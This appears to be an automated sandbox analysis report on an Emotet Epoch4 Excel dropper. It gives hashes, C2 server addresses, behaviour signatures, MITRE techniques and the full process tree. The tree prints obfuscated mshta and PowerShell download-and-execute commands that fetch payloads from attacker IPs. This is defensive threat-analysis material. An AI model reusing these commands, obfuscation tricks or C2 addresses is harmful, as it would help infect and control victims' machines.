emotet | 4627d88cb27d885555625326c40717630dbfc7708869fdde4d0064f2d59e5bb4

General

Target

4627d88cb27d885555625326c40717630dbfc7708869fdde4d0064f2d59e5bb4.xls
Size

142KB
MD5

70caf460cf0c000b71bd37cc9e8d3065
SHA1

d5cf4d2edfc7466a0292cec8e435839ee139bd7d
SHA256

4627d88cb27d885555625326c40717630dbfc7708869fdde4d0064f2d59e5bb4
SHA512

7d23f1f84fca0a9b99e745e29c7529bb85dba3a7a7f158cfecaac7d25a55d1a03ce8c4603a13bc3be11c07f6059776ba3938b9af18317b938d1d9e8142b026bf

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2556	380	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
31	2496	mshta.exe
38	1988	powershell.exe
40	1988	powershell.exe
42	1988	powershell.exe
49	2440	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1884	rundll32.exe
2172	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Wffgrdcntsvwphdj\nmxvt.vdw	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2964	2496	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
380	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1988	powershell.exe
1988	powershell.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
1988	powershell.exe
2440	rundll32.exe
2440	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	2964	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
380	EXCEL.EXE
380	EXCEL.EXE
380	EXCEL.EXE
380	EXCEL.EXE
380	EXCEL.EXE
380	EXCEL.EXE
380	EXCEL.EXE
380	EXCEL.EXE
380	EXCEL.EXE
380	EXCEL.EXE
380	EXCEL.EXE
380	EXCEL.EXE
380	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 380 wrote to memory of 3352	380	EXCEL.EXE	71
PID 380 wrote to memory of 3352	380	EXCEL.EXE	71
PID 380 wrote to memory of 2556	380	EXCEL.EXE	73
PID 380 wrote to memory of 2556	380	EXCEL.EXE	73
PID 2556 wrote to memory of 2496	2556	cmd.exe	75
PID 2556 wrote to memory of 2496	2556	cmd.exe	75
PID 2496 wrote to memory of 1988	2496	mshta.exe	77
PID 2496 wrote to memory of 1988	2496	mshta.exe	77
PID 1988 wrote to memory of 1720	1988	powershell.exe	80
PID 1988 wrote to memory of 1720	1988	powershell.exe	80
PID 1720 wrote to memory of 1884	1720	cmd.exe	81
PID 1720 wrote to memory of 1884	1720	cmd.exe	81
PID 1720 wrote to memory of 1884	1720	cmd.exe	81
PID 1884 wrote to memory of 2172	1884	rundll32.exe	82
PID 1884 wrote to memory of 2172	1884	rundll32.exe	82
PID 1884 wrote to memory of 2172	1884	rundll32.exe	82
PID 2172 wrote to memory of 1768	2172	rundll32.exe	83
PID 2172 wrote to memory of 1768	2172	rundll32.exe	83
PID 2172 wrote to memory of 1768	2172	rundll32.exe	83
PID 1768 wrote to memory of 2440	1768	rundll32.exe	84
PID 1768 wrote to memory of 2440	1768	rundll32.exe	84
PID 1768 wrote to memory of 2440	1768	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4627d88cb27d885555625326c40717630dbfc7708869fdde4d0064f2d59e5bb4.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:380
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3352
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1988
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1720
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1884
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2172
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wffgrdcntsvwphdj\nmxvt.vdw",aAwzbiTbvpK
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1768
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Wffgrdcntsvwphdj\nmxvt.vdw",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2440
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2496 -s 1952
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2964

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/380-115-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/380-121-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/380-128-0x00007FF8C4EA0000-0x00007FF8C4EB0000-memory.dmp

Filesize
64KB

Download
memory/380-129-0x00007FF8C4EA0000-0x00007FF8C4EB0000-memory.dmp

Filesize
64KB

Download
memory/380-617-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/380-118-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/380-616-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/380-615-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/380-614-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/380-117-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/380-116-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/1768-567-0x0000000004420000-0x0000000004446000-memory.dmp

Filesize
152KB

Download
memory/1884-549-0x0000000000CA0000-0x0000000000CC6000-memory.dmp

Filesize
152KB

Download
memory/1988-512-0x000001E1FA480000-0x000001E1FA4BC000-memory.dmp

Filesize
240KB

Download
memory/1988-525-0x000001E1FA4C3000-0x000001E1FA4C5000-memory.dmp

Filesize
8KB

Download
memory/1988-540-0x000001E1FA4C6000-0x000001E1FA4C8000-memory.dmp

Filesize
8KB

Download
memory/1988-492-0x000001E1E2160000-0x000001E1E2182000-memory.dmp

Filesize
136KB

Download
memory/1988-523-0x000001E1FAAE0000-0x000001E1FAB56000-memory.dmp

Filesize
472KB

Download
memory/1988-524-0x000001E1FA4C0000-0x000001E1FA4C2000-memory.dmp

Filesize
8KB

Download
memory/2172-555-0x0000000004980000-0x00000000049A6000-memory.dmp

Filesize
152KB

Download
memory/2172-560-0x0000000004EB0000-0x0000000004ED6000-memory.dmp

Filesize
152KB

Download
memory/2172-562-0x0000000005050000-0x0000000005076000-memory.dmp

Filesize
152KB

Download
memory/2172-564-0x00000000050B0000-0x00000000050D6000-memory.dmp

Filesize
152KB

Download
memory/2172-570-0x0000000005210000-0x0000000005236000-memory.dmp

Filesize
152KB

Download
memory/2172-552-0x0000000002ED0000-0x0000000002EF6000-memory.dmp

Filesize
152KB

Download
memory/2440-576-0x0000000004AF0000-0x0000000004B16000-memory.dmp

Filesize
152KB

Download
memory/2440-584-0x0000000004E80000-0x0000000004EA6000-memory.dmp

Filesize
152KB

Download
memory/2440-582-0x0000000004D90000-0x0000000004DB6000-memory.dmp

Filesize
152KB

Download
memory/2440-580-0x0000000004CB0000-0x0000000004CD6000-memory.dmp

Filesize
152KB

Download
memory/2440-578-0x0000000004BD0000-0x0000000004BF6000-memory.dmp

Filesize
152KB

Download
memory/2440-571-0x0000000000CE0000-0x0000000000D06000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads